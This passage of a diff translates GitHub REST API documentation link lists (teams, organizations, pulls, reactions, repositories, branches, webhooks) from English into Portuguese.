+* [Criar uma equipe](/rest/reference/teams#create-a-team)
+* [Obter uma equipe por nome](/rest/reference/teams#get-a-team-by-name)
+* [Atualizar uma equipe](/rest/reference/teams#update-a-team)
+* [Excluir uma equipe](/rest/reference/teams#delete-a-team)
 {% ifversion fpt or ghec %}
-* [List pending team invitations](/rest/reference/teams#list-pending-team-invitations)
+* [Listar convites pendentes da equipe](/rest/reference/teams#list-pending-team-invitations)
 {% endif %}
-* [List team members](/rest/reference/teams#list-team-members)
-* [Get team membership for a user](/rest/reference/teams#get-team-membership-for-a-user)
-* [Add or update team membership for a user](/rest/reference/teams#add-or-update-team-membership-for-a-user)
-* [Remove team membership for a user](/rest/reference/teams#remove-team-membership-for-a-user)
-* [List child teams](/rest/reference/teams#list-child-teams)
-* [List teams for the authenticated user](/rest/reference/teams#list-teams-for-the-authenticated-user)
+* [Listar integrantes da equipe](/rest/reference/teams#list-team-members)
+* [Obter a associação à equipe para um usuário](/rest/reference/teams#get-team-membership-for-a-user)
+* [Adicionar ou atualizar membros de equipe para um usuário](/rest/reference/teams#add-or-update-team-membership-for-a-user)
+* [Remover associação à equipe para um usuário](/rest/reference/teams#remove-team-membership-for-a-user)
+* [Listar equipes secundárias](/rest/reference/teams#list-child-teams)
+* [Listar equipes para o usuário autenticado](/rest/reference/teams#list-teams-for-the-authenticated-user)
 
-#### Organizations
+#### Organizações
 
-* [List organizations](/rest/reference/orgs#list-organizations)
-* [Get an organization](/rest/reference/orgs#get-an-organization)
-* [Update an organization](/rest/reference/orgs#update-an-organization)
-* [List organization memberships for the authenticated user](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
-* [Get an organization membership for the authenticated user](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
-* [Update an organization membership for the authenticated user](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
-* [List organizations for the authenticated user](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
-* [List organizations for a user](/rest/reference/orgs#list-organizations-for-a-user)
+* [Listar organizações](/rest/reference/orgs#list-organizations)
+* [Obter uma organização](/rest/reference/orgs#get-an-organization)
+* [Atualizar uma organização](/rest/reference/orgs#update-an-organization)
+* [Listar associações de organizações para os usuários autenticados](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
+* [Obter uma associação de organização para o usuário autenticado](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
+* [Atualizar uma associação de organização para o usuário autenticado](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
+* [Listar organizações para o usuário autenticado](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
+* [Listar organizações para um usuário](/rest/reference/orgs#list-organizations-for-a-user)
 
 {% ifversion fpt or ghec %}
-#### Organizations Credential Authorizations
+#### Autorizações de credencial das organizações
 
-* [List SAML SSO authorizations for an organization](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
-* [Remove a SAML SSO authorization for an organization](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
+* [Listar autorizações do SAML SSO para uma organização](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
+* [Remover uma autorização do SAML SSO para uma organização](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Organizations Scim
+#### Scim das organizações
 
-* [List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)
-* [Provision and invite a SCIM user](/rest/reference/scim#provision-and-invite-a-scim-user)
-* [Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
-* [Set SCIM information for a provisioned user](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
-* [Update an attribute for a SCIM user](/rest/reference/scim#update-an-attribute-for-a-scim-user)
-* [Delete a SCIM user from an organization](/rest/reference/scim#delete-a-scim-user-from-an-organization)
+* [Listar identidades provisionadas de SCIM](/rest/reference/scim#list-scim-provisioned-identities)
+* [Provisionamento e convite para um usuário de SCIM](/rest/reference/scim#provision-and-invite-a-scim-user)
+* [Obter informações de provisionamento de SCIM para um usuário](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
+* [Definir informações de SCIM para um usuário provisionado](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
+* [Atualizar um atributo para um usuário de SCIM](/rest/reference/scim#update-an-attribute-for-a-scim-user)
+* [Excluir um usuário de SCIM de uma organização](/rest/reference/scim#delete-a-scim-user-from-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Source Imports
+#### Importação de fonte
 
-* [Get an import status](/rest/reference/migrations#get-an-import-status)
-* [Start an import](/rest/reference/migrations#start-an-import)
-* [Update an import](/rest/reference/migrations#update-an-import)
-* [Cancel an import](/rest/reference/migrations#cancel-an-import)
-* [Get commit authors](/rest/reference/migrations#get-commit-authors)
-* [Map a commit author](/rest/reference/migrations#map-a-commit-author)
-* [Get large files](/rest/reference/migrations#get-large-files)
-* [Update Git LFS preference](/rest/reference/migrations#update-git-lfs-preference)
+* [Obter um status de importação](/rest/reference/migrations#get-an-import-status)
+* [Iniciar importação](/rest/reference/migrations#start-an-import)
+* [Atualizar uma importação](/rest/reference/migrations#update-an-import)
+* [Cancelar uma importação](/rest/reference/migrations#cancel-an-import)
+* [Obtenha autores do commit](/rest/reference/migrations#get-commit-authors)
+* [Mapear um autor de commit](/rest/reference/migrations#map-a-commit-author)
+* [Obter arquivos grandes](/rest/reference/migrations#get-large-files)
+* [Atualizar preferência de LFS do Git](/rest/reference/migrations#update-git-lfs-preference)
 {% endif %}
 
-#### Project Collaborators
+#### Colaboradores do projeto
 
-* [List project collaborators](/rest/reference/projects#list-project-collaborators)
-* [Add project collaborator](/rest/reference/projects#add-project-collaborator)
-* [Remove project collaborator](/rest/reference/projects#remove-project-collaborator)
-* [Get project permission for a user](/rest/reference/projects#get-project-permission-for-a-user)
+* [Listar colaboradores do projeto](/rest/reference/projects#list-project-collaborators)
+* [Adicionar colaborador do projeto](/rest/reference/projects#add-project-collaborator)
+* [Remover colaborador do projeto](/rest/reference/projects#remove-project-collaborator)
+* [Obter permissão de projeto para um usuário](/rest/reference/projects#get-project-permission-for-a-user)
 
-#### Projects
+#### Projetos
 
-* [List organization projects](/rest/reference/projects#list-organization-projects)
-* [Create an organization project](/rest/reference/projects#create-an-organization-project)
-* [Get a project](/rest/reference/projects#get-a-project)
-* [Update a project](/rest/reference/projects#update-a-project)
-* [Delete a project](/rest/reference/projects#delete-a-project)
-* [List project columns](/rest/reference/projects#list-project-columns)
-* [Create a project column](/rest/reference/projects#create-a-project-column)
-* [Get a project column](/rest/reference/projects#get-a-project-column)
-* [Update a project column](/rest/reference/projects#update-a-project-column)
-* [Delete a project column](/rest/reference/projects#delete-a-project-column)
-* [List project cards](/rest/reference/projects#list-project-cards)
-* [Create a project card](/rest/reference/projects#create-a-project-card)
-* [Move a project column](/rest/reference/projects#move-a-project-column)
-* [Get a project card](/rest/reference/projects#get-a-project-card)
-* [Update a project card](/rest/reference/projects#update-a-project-card)
-* [Delete a project card](/rest/reference/projects#delete-a-project-card)
-* [Move a project card](/rest/reference/projects#move-a-project-card)
-* [List repository projects](/rest/reference/projects#list-repository-projects)
-* [Create a repository project](/rest/reference/projects#create-a-repository-project)
+* [Listar projetos da organização](/rest/reference/projects#list-organization-projects)
+* [Criar um projeto da organização](/rest/reference/projects#create-an-organization-project)
+* [Obter um projeto](/rest/reference/projects#get-a-project)
+* [Atualizar um projeto](/rest/reference/projects#update-a-project)
+* [Excluir um projeto](/rest/reference/projects#delete-a-project)
+* [Listar colunas do projeto](/rest/reference/projects#list-project-columns)
+* [Criar uma coluna do projeto](/rest/reference/projects#create-a-project-column)
+* [Obter uma coluna do projeto](/rest/reference/projects#get-a-project-column)
+* [Atualizar uma coluna do projeto](/rest/reference/projects#update-a-project-column)
+* [Excluir uma coluna do projeto](/rest/reference/projects#delete-a-project-column)
+* [Listar cartões do projeto](/rest/reference/projects#list-project-cards)
+* [Criar um cartão de projeto](/rest/reference/projects#create-a-project-card)
+* [Mover uma coluna do projeto](/rest/reference/projects#move-a-project-column)
+* [Obter um cartão do projeto](/rest/reference/projects#get-a-project-card)
+* [Atualizar um cartão do projeto](/rest/reference/projects#update-a-project-card)
+* [Excluir um cartão do projeto](/rest/reference/projects#delete-a-project-card)
+* [Mover um cartão do projeto](/rest/reference/projects#move-a-project-card)
+* [Listar projetos do repositório](/rest/reference/projects#list-repository-projects)
+* [Criar um projeto do repositório](/rest/reference/projects#create-a-repository-project)
 
-#### Pull Comments
+#### Commentários pull
 
-* [List review comments on a pull request](/rest/reference/pulls#list-review-comments-on-a-pull-request)
-* [Create a review comment for a pull request](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
-* [List review comments in a repository](/rest/reference/pulls#list-review-comments-in-a-repository)
-* [Get a review comment for a pull request](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
-* [Update a review comment for a pull request](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
-* [Delete a review comment for a pull request](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
+* [Listar comentários de revisão em um pull request](/rest/reference/pulls#list-review-comments-on-a-pull-request)
+* [Criar um comentário de revisão para um pull request](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
+* [Listar comentários de revisão em um repositório](/rest/reference/pulls#list-review-comments-in-a-repository)
+* [Obter um comentário de revisão para um pull request](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
+* [Atualizar um comentário de revisão para um pull request](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
+* [Excluir um comentário de revisão para um pull request](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
 
-#### Pull Request Review Events
+#### Eventos de revisão de pull request
 
-* [Dismiss a review for a pull request](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
-* [Submit a review for a pull request](/rest/reference/pulls#submit-a-review-for-a-pull-request)
+* [Ignorar uma revisão para um pull request](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
+* [Enviar uma revisão para um pull request](/rest/reference/pulls#submit-a-review-for-a-pull-request)
 
-#### Pull Request Review Requests
+#### Solicitações de revisão de pull request
 
-* [List requested reviewers for a pull request](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
-* [Request reviewers for a pull request](/rest/reference/pulls#request-reviewers-for-a-pull-request)
-* [Remove requested reviewers from a pull request](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
+* [Listar revisores solicitados para um pull request](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
+* [Solicitar revisores para um pull request](/rest/reference/pulls#request-reviewers-for-a-pull-request)
+* [Remover revisores solicitados de um pull request](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
 
-#### Pull Request Reviews
+#### Revisões de pull request
 
-* [List reviews for a pull request](/rest/reference/pulls#list-reviews-for-a-pull-request)
-* [Create a review for a pull request](/rest/reference/pulls#create-a-review-for-a-pull-request)
-* [Get a review for a pull request](/rest/reference/pulls#get-a-review-for-a-pull-request)
-* [Update a review for a pull request](/rest/reference/pulls#update-a-review-for-a-pull-request)
-* [List comments for a pull request review](/rest/reference/pulls#list-comments-for-a-pull-request-review)
+* [Listar comentários para um pull request](/rest/reference/pulls#list-reviews-for-a-pull-request)
+* [Criar uma revisão para um pull request](/rest/reference/pulls#create-a-review-for-a-pull-request)
+* [Obter uma revisão para um pull request](/rest/reference/pulls#get-a-review-for-a-pull-request)
+* [Atualizar uma revisão para um pull request](/rest/reference/pulls#update-a-review-for-a-pull-request)
+* [Listar comentários para uma revisão de pull request](/rest/reference/pulls#list-comments-for-a-pull-request-review)
 
 #### Pulls
 
-* [List pull requests](/rest/reference/pulls#list-pull-requests)
-* [Create a pull request](/rest/reference/pulls#create-a-pull-request)
-* [Get a pull request](/rest/reference/pulls#get-a-pull-request)
-* [Update a pull request](/rest/reference/pulls#update-a-pull-request)
-* [List commits on a pull request](/rest/reference/pulls#list-commits-on-a-pull-request)
-* [List pull requests files](/rest/reference/pulls#list-pull-requests-files)
-* [Check if a pull request has been merged](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
-* [Merge a pull request (Merge Button)](/rest/reference/pulls#merge-a-pull-request)
+* [Listar pull requests](/rest/reference/pulls#list-pull-requests)
+* [Criar um pull request](/rest/reference/pulls#create-a-pull-request)
+* [Obter um pull request](/rest/reference/pulls#get-a-pull-request)
+* [Atualizar um pull request](/rest/reference/pulls#update-a-pull-request)
+* [Listar commits em um pull request](/rest/reference/pulls#list-commits-on-a-pull-request)
+* [Listar arquivos de pull requests](/rest/reference/pulls#list-pull-requests-files)
+* [Verifiarse um pull request foi mesclado](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
+* [Mesclar um pull request (Botão de mesclar)](/rest/reference/pulls#merge-a-pull-request)
 
-#### Reactions
+#### Reações
 
-{% ifversion fpt or ghes or ghae or ghec %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction){% endif %}
-* [List reactions for a commit comment](/rest/reference/reactions#list-reactions-for-a-commit-comment)
-* [Create reaction for a commit comment](/rest/reference/reactions#create-reaction-for-a-commit-comment)
-* [List reactions for an issue](/rest/reference/reactions#list-reactions-for-an-issue)
-* [Create reaction for an issue](/rest/reference/reactions#create-reaction-for-an-issue)
-* [List reactions for an issue comment](/rest/reference/reactions#list-reactions-for-an-issue-comment)
-* [Create reaction for an issue comment](/rest/reference/reactions#create-reaction-for-an-issue-comment)
-* [List reactions for a pull request review comment](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
-* [Create reaction for a pull request review comment](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
-* [List reactions for a team discussion comment](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
-* [Create reaction for a team discussion comment](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
-* [List reactions for a team discussion](/rest/reference/reactions#list-reactions-for-a-team-discussion)
-* [Create reaction for a team discussion](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a commit comment reaction](/rest/reference/reactions#delete-a-commit-comment-reaction)
-* [Delete an issue reaction](/rest/reference/reactions#delete-an-issue-reaction)
-* [Delete a reaction to a commit comment](/rest/reference/reactions#delete-an-issue-comment-reaction)
-* [Delete a pull request comment reaction](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
-* [Delete team discussion reaction](/rest/reference/reactions#delete-team-discussion-reaction)
-* [Delete team discussion comment reaction](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
+{% ifversion fpt or ghes or ghae or ghec %}* [Excluir uma reação](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [Excluir uma reação](/rest/reference/reactions#delete-a-reaction){% endif %}
+* [Listar reações para um comentário de commit](/rest/reference/reactions#list-reactions-for-a-commit-comment)
+* [Criar reação para um comentário de commit](/rest/reference/reactions#create-reaction-for-a-commit-comment)
+* [Listar reações para um problema](/rest/reference/reactions#list-reactions-for-an-issue)
+* [Criar reação para um problema](/rest/reference/reactions#create-reaction-for-an-issue)
+* [Listar reações para um comentário do problema](/rest/reference/reactions#list-reactions-for-an-issue-comment)
+* [Criar reação para um comentário do problema](/rest/reference/reactions#create-reaction-for-an-issue-comment)
+* [Listar reações para um comentário de revisão de pull request](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
+* [Criar reação para um comentário de revisão de pull request](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
+* [Listar reações para um comentário de discussão de equipe](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
+* [Criar reação para um comentário de discussão em equipe](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
+* [Listar reações para uma discussão de equipe](/rest/reference/reactions#list-reactions-for-a-team-discussion)
+* [Criar reação para uma discussão de equipe](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
+* [Excluir uma reação de comentário de commit](/rest/reference/reactions#delete-a-commit-comment-reaction)
+* [Excluir uma reação do problema](/rest/reference/reactions#delete-an-issue-reaction)
+* [Excluir uma reação a um comentário do commit](/rest/reference/reactions#delete-an-issue-comment-reaction)
+* [Excluir reação de comentário do pull request](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
+* [Excluir reação para discussão em equipe](/rest/reference/reactions#delete-team-discussion-reaction)
+* [Excluir reação de comentário para discussão de equipe](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
 
-#### Repositories
+#### Repositórios
 
-* [List organization repositories](/rest/reference/repos#list-organization-repositories)
-* [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
-* [Get a repository](/rest/reference/repos#get-a-repository)
-* [Update a repository](/rest/reference/repos#update-a-repository)
-* [Delete a repository](/rest/reference/repos#delete-a-repository)
-* [Compare two commits](/rest/reference/commits#compare-two-commits)
-* [List repository contributors](/rest/reference/repos#list-repository-contributors)
-* [List forks](/rest/reference/repos#list-forks)
-* [Create a fork](/rest/reference/repos#create-a-fork)
-* [List repository languages](/rest/reference/repos#list-repository-languages)
-* [List repository tags](/rest/reference/repos#list-repository-tags)
-* [List repository teams](/rest/reference/repos#list-repository-teams)
-* [Transfer a repository](/rest/reference/repos#transfer-a-repository)
-* [List public repositories](/rest/reference/repos#list-public-repositories)
-* [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user)
-* [List repositories for a user](/rest/reference/repos#list-repositories-for-a-user)
-* [Create repository using a repository template](/rest/reference/repos#create-repository-using-a-repository-template)
+* [Listar repositórios da organização](/rest/reference/repos#list-organization-repositories)
+* [Criar um repositório para o usuário autenticado](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
+* [Obter um repositório](/rest/reference/repos#get-a-repository)
+* [Atualizar um repositório](/rest/reference/repos#update-a-repository)
+* [Excluir um repositório](/rest/reference/repos#delete-a-repository)
+* [Comparar dois commits](/rest/reference/commits#compare-two-commits)
+* [Listar contribuidores do repositório](/rest/reference/repos#list-repository-contributors)
+* [Listar bifurcações](/rest/reference/repos#list-forks)
+* [Criar uma bifurcação](/rest/reference/repos#create-a-fork)
+* [Listar idiomas do repositório](/rest/reference/repos#list-repository-languages)
+* [Listar tags do repositório](/rest/reference/repos#list-repository-tags)
+* [Listar equipes do repositório](/rest/reference/repos#list-repository-teams)
+* [Transferir um repositório](/rest/reference/repos#transfer-a-repository)
+* [Listar repositórios públicos](/rest/reference/repos#list-public-repositories)
+* [Listar repositórios para o usuário autenticado](/rest/reference/repos#list-repositories-for-the-authenticated-user)
+* [Listar repositórios para um usuário](/rest/reference/repos#list-repositories-for-a-user)
+* [Criar repositório usando um modelo de repositório](/rest/reference/repos#create-repository-using-a-repository-template)
 
-#### Repository Activity
+#### Atividade do repositório
 
-* [List stargazers](/rest/reference/activity#list-stargazers)
-* [List watchers](/rest/reference/activity#list-watchers)
-* [List repositories starred by a user](/rest/reference/activity#list-repositories-starred-by-a-user)
-* [Check if a repository is starred by the authenticated user](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
-* [Star a repository for the authenticated user](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
-* [Unstar a repository for the authenticated user](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
-* [List repositories watched by a user](/rest/reference/activity#list-repositories-watched-by-a-user)
+* [Listar observadores](/rest/reference/activity#list-stargazers)
+* [Listar inspetores](/rest/reference/activity#list-watchers)
+* [Listar repositórios favoritados pelo usuário](/rest/reference/activity#list-repositories-starred-by-a-user)
+* [Verificar se um repositório foi favoritado pelo usuário autenticado](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
+* [Favorite um repositório para o usuário autenticado](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
+* [Desmarque um repositório como favorito para o usuário autenticado](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
+* [Listar repositórios inspecionados por um usuário](/rest/reference/activity#list-repositories-watched-by-a-user)
 
 {% ifversion fpt or ghec %}
-#### Repository Automated Security Fixes
+#### Correções de segurança automatizadas no repositório
 
-* [Enable automated security fixes](/rest/reference/repos#enable-automated-security-fixes)
-* [Disable automated security fixes](/rest/reference/repos#disable-automated-security-fixes)
+* [Habilitar as correções de segurança automatizadas](/rest/reference/repos#enable-automated-security-fixes)
+* [Desabilitar as correções de segurança automatizadas](/rest/reference/repos#disable-automated-security-fixes)
 {% endif %}
 
-#### Repository Branches
+#### Branches do repositório
 
-* [List branches](/rest/reference/branches#list-branches)
-* [Get a branch](/rest/reference/branches#get-a-branch)
-* [Get branch protection](/rest/reference/branches#get-branch-protection)
-* [Update branch protection](/rest/reference/branches#update-branch-protection)
-* [Delete branch protection](/rest/reference/branches#delete-branch-protection)
-* [Get admin branch protection](/rest/reference/branches#get-admin-branch-protection)
-* [Set admin branch protection](/rest/reference/branches#set-admin-branch-protection)
-* [Delete admin branch protection](/rest/reference/branches#delete-admin-branch-protection)
-* [Get pull request review protection](/rest/reference/branches#get-pull-request-review-protection)
-* [Update pull request review protection](/rest/reference/branches#update-pull-request-review-protection)
-* [Delete pull request review protection](/rest/reference/branches#delete-pull-request-review-protection)
-* [Get commit signature protection](/rest/reference/branches#get-commit-signature-protection)
-* [Create commit signature protection](/rest/reference/branches#create-commit-signature-protection)
-* [Delete commit signature protection](/rest/reference/branches#delete-commit-signature-protection)
-* [Get status checks protection](/rest/reference/branches#get-status-checks-protection)
-* [Update status check protection](/rest/reference/branches#update-status-check-protection)
-* [Remove status check protection](/rest/reference/branches#remove-status-check-protection)
-* [Get all status check contexts](/rest/reference/branches#get-all-status-check-contexts)
-* [Add status check contexts](/rest/reference/branches#add-status-check-contexts)
-* [Set status check contexts](/rest/reference/branches#set-status-check-contexts)
-* [Remove status check contexts](/rest/reference/branches#remove-status-check-contexts)
-* [Get access restrictions](/rest/reference/branches#get-access-restrictions)
-* [Delete access restrictions](/rest/reference/branches#delete-access-restrictions)
-* [List teams with access to the protected branch](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
-* [Add team access restrictions](/rest/reference/branches#add-team-access-restrictions)
-* [Set team access restrictions](/rest/reference/branches#set-team-access-restrictions)
-* [Remove team access restriction](/rest/reference/branches#remove-team-access-restrictions)
-* [List user restrictions of protected branch](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
-* [Add user access restrictions](/rest/reference/branches#add-user-access-restrictions)
-* [Set user access restrictions](/rest/reference/branches#set-user-access-restrictions)
-* [Remove user access restrictions](/rest/reference/branches#remove-user-access-restrictions)
-* [Merge a branch](/rest/reference/branches#merge-a-branch)
+* [Listar branches](/rest/reference/branches#list-branches)
+* [Obter um branch](/rest/reference/branches#get-a-branch)
+* [Obter proteção do branch](/rest/reference/branches#get-branch-protection)
+* [Atualizar proteção do branch](/rest/reference/branches#update-branch-protection)
+* [Excluir proteção do branch](/rest/reference/branches#delete-branch-protection)
+* [Obter proteção do branch do administrador](/rest/reference/branches#get-admin-branch-protection)
+* [Definir proteção do branch de administrador](/rest/reference/branches#set-admin-branch-protection)
+* [Excluir proteção do branch de administrador](/rest/reference/branches#delete-admin-branch-protection)
+* [Obter proteção de revisão do pull request](/rest/reference/branches#get-pull-request-review-protection)
+* [Atualizar proteção de revisão do pull request](/rest/reference/branches#update-pull-request-review-protection)
+* [Excluir proteção de revisão do pull request](/rest/reference/branches#delete-pull-request-review-protection)
+* [Obter proteção de assinatura do commit](/rest/reference/branches#get-commit-signature-protection)
+* [Criar proteção de assinatura do commit](/rest/reference/branches#create-commit-signature-protection)
+* [Excluir proteção de assinatura do commit](/rest/reference/branches#delete-commit-signature-protection)
+* [Obter proteção contra verificações de status](/rest/reference/branches#get-status-checks-protection)
+* [Atualizar proteção da verificação de status](/rest/reference/branches#update-status-check-protection)
+* [Remover proteção da verificação de status](/rest/reference/branches#remove-status-check-protection)
+* [Obter todos os contextos de verificação de status](/rest/reference/branches#get-all-status-check-contexts)
+* [Adicionar contextos de verificação de status](/rest/reference/branches#add-status-check-contexts)
+* [Definir contextos de verificação de status](/rest/reference/branches#set-status-check-contexts)
+* [Remover contextos de verificação de status](/rest/reference/branches#remove-status-check-contexts)
+* [Obter restrições de acesso](/rest/reference/branches#get-access-restrictions)
+* [Excluir restrições de acesso](/rest/reference/branches#delete-access-restrictions)
+* [Listar equipes com acesso ao branch protegido](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
+* [Adicionar restrições de acesso da equipe](/rest/reference/branches#add-team-access-restrictions)
+* [Definir restrições de acesso da equipe](/rest/reference/branches#set-team-access-restrictions)
+* [Remover restrição de acesso da equipe](/rest/reference/branches#remove-team-access-restrictions)
+* [Listar restrições de usuário do branch protegido](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
+* [Adicionar restrições de acesso do usuário](/rest/reference/branches#add-user-access-restrictions)
+* [Definir restrições de acesso do usuário](/rest/reference/branches#set-user-access-restrictions)
+* [Remover restrições de acesso do usuário](/rest/reference/branches#remove-user-access-restrictions)
+* [Mesclar um branch](/rest/reference/branches#merge-a-branch)
 
-#### Repository Collaborators
+#### Colaboradores do repositório
 
-* [List repository collaborators](/rest/reference/collaborators#list-repository-collaborators)
-* [Check if a user is a repository collaborator](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
-* [Add a repository collaborator](/rest/reference/collaborators#add-a-repository-collaborator)
-* [Remove a repository collaborator](/rest/reference/collaborators#remove-a-repository-collaborator)
-* [Get repository permissions for a user](/rest/reference/collaborators#get-repository-permissions-for-a-user)
+* [Listar colaboradores do repositório](/rest/reference/collaborators#list-repository-collaborators)
+* [Verifique se um usuário é colaborador de um repositório](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
+* [Adicionar colaborador de repositório](/rest/reference/collaborators#add-a-repository-collaborator)
+* [Remover um colaborador de repositório](/rest/reference/collaborators#remove-a-repository-collaborator)
+* [Obter permissões de repositório para um usuário](/rest/reference/collaborators#get-repository-permissions-for-a-user)
 
-#### Repository Commit Comments
+#### Comentários do commit do repositório
 
-* [List commit comments for a repository](/rest/reference/commits#list-commit-comments-for-a-repository)
-* [Get a commit comment](/rest/reference/commits#get-a-commit-comment)
-* [Update a commit comment](/rest/reference/commits#update-a-commit-comment)
-* [Delete a commit comment](/rest/reference/commits#delete-a-commit-comment)
-* [List commit comments](/rest/reference/commits#list-commit-comments)
-* [Create a commit comment](/rest/reference/commits#create-a-commit-comment)
+* [Listar comentários de commit para um repositório](/rest/reference/commits#list-commit-comments-for-a-repository)
+* [Obter um comentário de commit](/rest/reference/commits#get-a-commit-comment)
+* [Atualizar um comentário de commit](/rest/reference/commits#update-a-commit-comment)
+* [Excluir um comentário de commit](/rest/reference/commits#delete-a-commit-comment)
+* [Listar comentários de commit](/rest/reference/commits#list-commit-comments)
+* [Criar um comentário de commit](/rest/reference/commits#create-a-commit-comment)
 
-#### Repository Commits
+#### Commits do repositório
 
-* [List commits](/rest/reference/commits#list-commits)
-* [Get a commit](/rest/reference/commits#get-a-commit)
-* [List branches for head commit](/rest/reference/commits#list-branches-for-head-commit)
-* [List pull requests associated with commit](/rest/reference/repos#list-pull-requests-associated-with-commit)
+* [Listar commits](/rest/reference/commits#list-commits)
+* [Obter um commit](/rest/reference/commits#get-a-commit)
+* [Listar branches para o commit principal](/rest/reference/commits#list-branches-for-head-commit)
+* [Listar pull requests associados ao commit](/rest/reference/repos#list-pull-requests-associated-with-commit)
 
-#### Repository Community
+#### Comunidade do repositório
 
-* [Get the code of conduct for a repository](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
+* [Obter o código de conduta para um repositório](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
 {% ifversion fpt or ghec %}
-* [Get community profile metrics](/rest/reference/repository-metrics#get-community-profile-metrics)
+* [Obter métricas do perfil da comunidade](/rest/reference/repository-metrics#get-community-profile-metrics)
 {% endif %}
 
-#### Repository Contents
+#### Conteúdo do repositório
 
-* [Download a repository archive](/rest/reference/repos#download-a-repository-archive)
-* [Get repository content](/rest/reference/repos#get-repository-content)
-* [Create or update file contents](/rest/reference/repos#create-or-update-file-contents)
-* [Delete a file](/rest/reference/repos#delete-a-file)
-* [Get a repository README](/rest/reference/repos#get-a-repository-readme)
-* [Get the license for a repository](/rest/reference/licenses#get-the-license-for-a-repository)
+* [Fazer o download de um arquivo do repositório](/rest/reference/repos#download-a-repository-archive)
+* [Obter conteúdo de repositório](/rest/reference/repos#get-repository-content)
+* [Criar ou atualizar conteúdo do arquivo](/rest/reference/repos#create-or-update-file-contents)
+* [Excluir um arquivo](/rest/reference/repos#delete-a-file)
+* [Obter um README do repositório](/rest/reference/repos#get-a-repository-readme)
+* [Obter a licença para um repositório](/rest/reference/licenses#get-the-license-for-a-repository)
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Repository Event Dispatches
+#### Envio de eventos do repositório
 
-* [Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)
+* [Criar um evento de envio de repositório](/rest/reference/repos#create-a-repository-dispatch-event)
 {% endif %}
 
-#### Repository Hooks
+#### Hooks do repositório
 
-* [List repository webhooks](/rest/reference/webhooks#list-repository-webhooks)
-* [Create a repository webhook](/rest/reference/webhooks#create-a-repository-webhook)
-* [Get a repository webhook](/rest/reference/webhooks#get-a-repository-webhook)
-* [Update a repository webhook](/rest/reference/webhooks#update-a-repository-webhook)
-* [Delete a repository webhook](/rest/reference/webhooks#delete-a-repository-webhook)
-* [Ping a repository webhook](/rest/reference/webhooks#ping-a-repository-webhook)
-* [Test the push repository webhook](/rest/reference/repos#test-the-push-repository-webhook)
